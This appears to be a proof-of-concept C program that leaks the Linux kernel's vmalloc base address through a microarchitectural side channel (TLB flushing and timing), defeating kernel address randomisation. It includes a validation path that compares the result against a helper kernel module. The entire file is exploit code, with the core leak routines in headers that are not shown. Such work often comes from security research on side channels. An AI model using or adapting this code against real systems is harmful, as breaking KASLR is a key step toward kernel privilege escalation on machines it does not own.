#include "coarse_grain_leak.h"
#define VALIDATE
#ifdef VALIDATE
#include "ulkm.h"
#endif

#define TRIES 30

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    /* warmup */
#ifdef VALIDATE
    size_t vmalloc_base;
    lkm_init();
    lkm_vmalloc_base_leak((size_t)&vmalloc_base);
    init_tlb_flush();
    // size_t stack;
    // lkm_stack_leak((size_t)&stack); //this technically doesn't need to be the stack page, but it happens to give us a mapped and an unmapped 4k page
    // DualThreshold t = detect_threshold(stack + 0x3000, stack + 0x4000, 100);
    // THRESHOLD = t.lower;
#endif

    for (volatile size_t i = 0; i < (1ULL << 30); ++i);
    /* leaking */
    size_t found = 0;
    size_t addr = vmalloc_leak_found(TRIES, &found);
    printf("%016zx\n", addr);
#ifdef VALIDATE
    if (vmalloc_base != addr) {
        printf("[!] vmalloc_base wrong found %016zx to %016zx\n", addr, vmalloc_base);
        return 0;
    }
#endif
    return found ? 1 : -1;
}